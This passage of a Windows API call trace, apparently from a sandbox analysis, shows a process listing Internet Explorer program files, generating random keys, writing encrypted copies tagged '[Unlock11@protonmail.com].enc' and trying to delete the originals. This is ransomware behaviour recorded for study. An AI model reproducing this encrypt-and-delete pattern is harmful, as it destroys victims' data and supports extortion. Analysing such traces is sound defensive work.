dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0124.111] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0124.112] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0124.112] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0124.113] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us")) returned 0x10 [0124.113] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0124.126] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0124.127] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0124.127] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0124.128] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0124.128] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0124.129] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0124.129] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\images" (normalized: "c:\\program files\\internet explorer\\images")) returned 0x11 [0124.130] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup")) returned 0x10 [0124.130] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0124.132] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\ExtExport.exe", lpFilePart=0x9bada4*="ExtExport.exe") returned 0x30 [0124.132] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1 [0124.132] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9e4 | out: pbBuffer=0x366a9e4) returned 1 [0124.133] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.133] GetFileType (hFile=0x39c) returned 0x1 [0124.133] GetFileType (hFile=0x39c) returned 0x1 [0124.133] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.134] GetLastError () returned 0x0 [0124.134] GetCurrentThreadId () returned 0x9b0 [0124.134] GetLastError () returned 0x0 [0124.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0124.134] GetLastError () returned 0x0 [0124.134] GetLastError () returned 0x0 [0124.134] GetLastError () returned 0x0 [0124.134] GetLastError () returned 0x0 [0124.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265518 [0124.135] GetLastError () returned 0x0 [0124.135] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\extexport.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.135] GetFileType (hFile=0x3ac) returned 0x1 [0124.135] GetLastError () returned 0x0 [0124.135] GetCurrentThreadId () returned 0x9b0 [0124.135] GetLastError () returned 0x0 [0124.136] GetFileType (hFile=0x3ac) returned 0x1 [0124.136] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.136] GetLastError () returned 0x0 [0124.136] GetCurrentThreadId () returned 0x9b0 [0124.136] GetLastError () returned 0x0 [0124.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0124.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.137] GetLastError () returned 0x0 [0124.137] GetLastError () returned 0x0 [0124.137] GetCurrentThreadId () returned 0x9b0 [0124.137] GetLastError () returned 0x0 [0124.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.137] GetLastError () returned 0x0 [0124.137] GetLastError () returned 0x0 [0124.137] GetCurrentThreadId () returned 0x9b0 [0124.137] GetLastError () returned 0x0 [0124.138] GetLastError () returned 0x0 [0124.139] GetLastError () returned 0x0 [0124.139] GetCurrentThreadId () returned 0x9b0 [0124.139] GetLastError () returned 0x0 [0124.140] GetCurrentThreadId () returned 0x9b0 [0124.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265478 [0124.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd018) returned 0x37bf790 [0124.140] GetLastError () returned 0x0 [0124.140] GetLastError () returned 0x0 [0124.140] GetLastError () returned 0x0 [0124.140] GetLastError () returned 0x0 [0124.140] GetCurrentThreadId () returned 0x9b0 [0124.141] GetLastError () returned 0x0 [0124.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.141] GetLastError () returned 0x0 [0124.143] GetLastError () returned 0x0 [0124.143] GetCurrentThreadId () returned 0x9b0 [0124.143] GetLastError () returned 0x0 [0124.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cc7b0 | out: hHeap=0x2ad0000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.143] GetLastError () returned 0x0 [0124.143] GetLastError () returned 0x0 [0124.143] GetCurrentThreadId () returned 0x9b0 [0124.143] GetLastError () returned 0x0 [0124.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.144] GetLastError () returned 0x0 [0124.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.144] CloseHandle (hObject=0x3ac) returned 1 [0124.144] GetLastError () returned 0x0 [0124.144] GetCurrentThreadId () returned 0x9b0 [0124.144] GetLastError () returned 0x0 [0124.144] GetLastError () returned 0x0 [0124.144] CloseHandle (hObject=0x39c) returned 1 [0124.145] GetLastError () returned 0x0 [0124.145] GetCurrentThreadId () returned 0x9b0 [0124.145] GetLastError () returned 0x0 [0124.145] GetCurrentThreadId () returned 0x9b0 [0124.145] GetLastError () returned 0x0 [0124.145] GetLastError () returned 0x0 [0124.145] GetLastError () returned 0x0 [0124.145] GetLastError () returned 0x0 [0124.145] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0 [0124.146] GetLastError () returned 0x5 [0124.146] GetCurrentThreadId () returned 0x9b0 [0124.146] GetLastError () returned 0x5 [0124.146] GetLastError () returned 0x5 [0124.146] GetLastError () returned 0x5 [0124.146] GetLastError () returned 0x5 [0124.146] LocalFree (hMem=0x1053cf0) returned 0x0 [0124.146] GetLastError () returned 0x5 [0124.146] GetLastError () returned 0x5 [0124.146] GetLastError () returned 0x5 [0124.147] GetLastError () returned 0x5 [0124.147] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\hmmapi.dll", lpFilePart=0x9bada4*="hmmapi.dll") returned 0x2d [0124.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.147] GetCurrentThreadId () returned 0x9b0 [0124.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.147] GetLastError () returned 0x5 [0124.147] GetLastError () returned 0x5 [0124.147] GetLastError () returned 0x5 [0124.147] GetLastError () returned 0x5 [0124.147] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\iediagcmd.exe", lpFilePart=0x9bada4*="iediagcmd.exe") returned 0x30 [0124.148] GetCurrentThreadId () returned 0x9b0 [0124.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0124.148] GetLastError () returned 0x0 [0124.148] GetLastError () returned 0x0 [0124.149] GetLastError () returned 0x0 [0124.149] GetLastError () returned 0x0 [0124.149] GetCurrentThreadId () returned 0x9b0 [0124.149] GetLastError () returned 0x0 [0124.149] GetCurrentThreadId () returned 0x9b0 [0124.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.149] GetLastError () returned 0x0 [0124.149] GetLastError () returned 0x0 [0124.149] GetLastError () returned 0x0 [0124.149] GetLastError () returned 0x0 [0124.150] GetCurrentThreadId () returned 0x9b0 [0124.150] GetLastError () returned 0x0 [0124.150] GetLastError () returned 0x0 [0124.150] GetLastError () returned 0x0 [0124.150] GetLastError () returned 0x0 [0124.150] GetLastError () returned 0x0 [0124.150] GetCurrentThreadId () returned 0x9b0 [0124.150] GetLastError () returned 0x0 [0124.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf80 | out: hHeap=0x2ad0000) returned 1 [0124.150] GetCurrentThreadId () returned 0x9b0 [0124.150] GetLastError () returned 0x0 [0124.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetCurrentThreadId () returned 0x9b0 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetLastError () returned 0x0 [0124.151] GetCurrentThreadId () returned 0x9b0 [0124.152] GetLastError () returned 0x0 [0124.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.152] GetLastError () returned 0x0 [0124.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0124.152] GetLastError () returned 0x0 [0124.152] GetLastError () returned 0x0 [0124.152] GetLastError () returned 0x0 [0124.152] GetCurrentThreadId () returned 0x9b0 [0124.152] GetLastError () returned 0x0 [0124.152] GetLastError () returned 0x0 [0124.152] GetLastError () returned 0x0 [0124.153] GetLastError () returned 0x0 [0124.153] GetLastError () returned 0x0 [0124.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.153] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000)) returned 1 [0124.153] GetLastError () returned 0x0 [0124.153] GetCurrentThreadId () returned 0x9b0 [0124.153] GetLastError () returned 0x0 [0124.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.153] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0124.154] GetCurrentThreadId () returned 0x9b0 [0124.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0124.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0124.154] GetLastError () returned 0x0 [0124.154] GetLastError () returned 0x0 [0124.154] GetLastError () returned 0x0 [0124.154] GetLastError () returned 0x0 [0124.154] GetCurrentThreadId () returned 0x9b0 [0124.154] GetLastError () returned 0x0 [0124.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0124.155] GetCurrentThreadId () returned 0x9b0 [0124.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae40 [0124.155] GetLastError () returned 0x0 [0124.155] GetLastError () returned 0x0 [0124.155] GetLastError () returned 0x0 [0124.155] GetLastError () returned 0x0 [0124.155] GetCurrentThreadId () returned 0x9b0 [0124.155] GetLastError () returned 0x0 [0124.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae40 | out: hHeap=0x2ad0000) returned 1 [0124.155] GetCurrentThreadId () returned 0x9b0 [0124.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265578 [0124.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5670 | out: hHeap=0x2ad0000) returned 1 [0124.156] GetLastError () returned 0x0 [0124.156] GetLastError () returned 0x0 [0124.156] GetLastError () returned 0x0 [0124.156] GetLastError () returned 0x0 [0124.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265488 [0124.156] GetLastError () returned 0x0 [0124.156] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.157] GetFileType (hFile=0x39c) returned 0x1 [0124.157] GetLastError () returned 0x0 [0124.157] GetCurrentThreadId () returned 0x9b0 [0124.157] GetLastError () returned 0x0 [0124.157] GetFileType (hFile=0x39c) returned 0x1 [0124.157] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.157] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.157] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.158] GetLastError () returned 0x0 [0124.158] GetCurrentThreadId () returned 0x9b0 [0124.158] GetLastError () returned 0x0 [0124.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0124.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.158] GetLastError () returned 0x0 [0124.158] GetLastError () returned 0x0 [0124.158] GetLastError () returned 0x0 [0124.158] GetLastError () returned 0x0 [0124.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265518 [0124.159] GetLastError () returned 0x0 [0124.159] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, 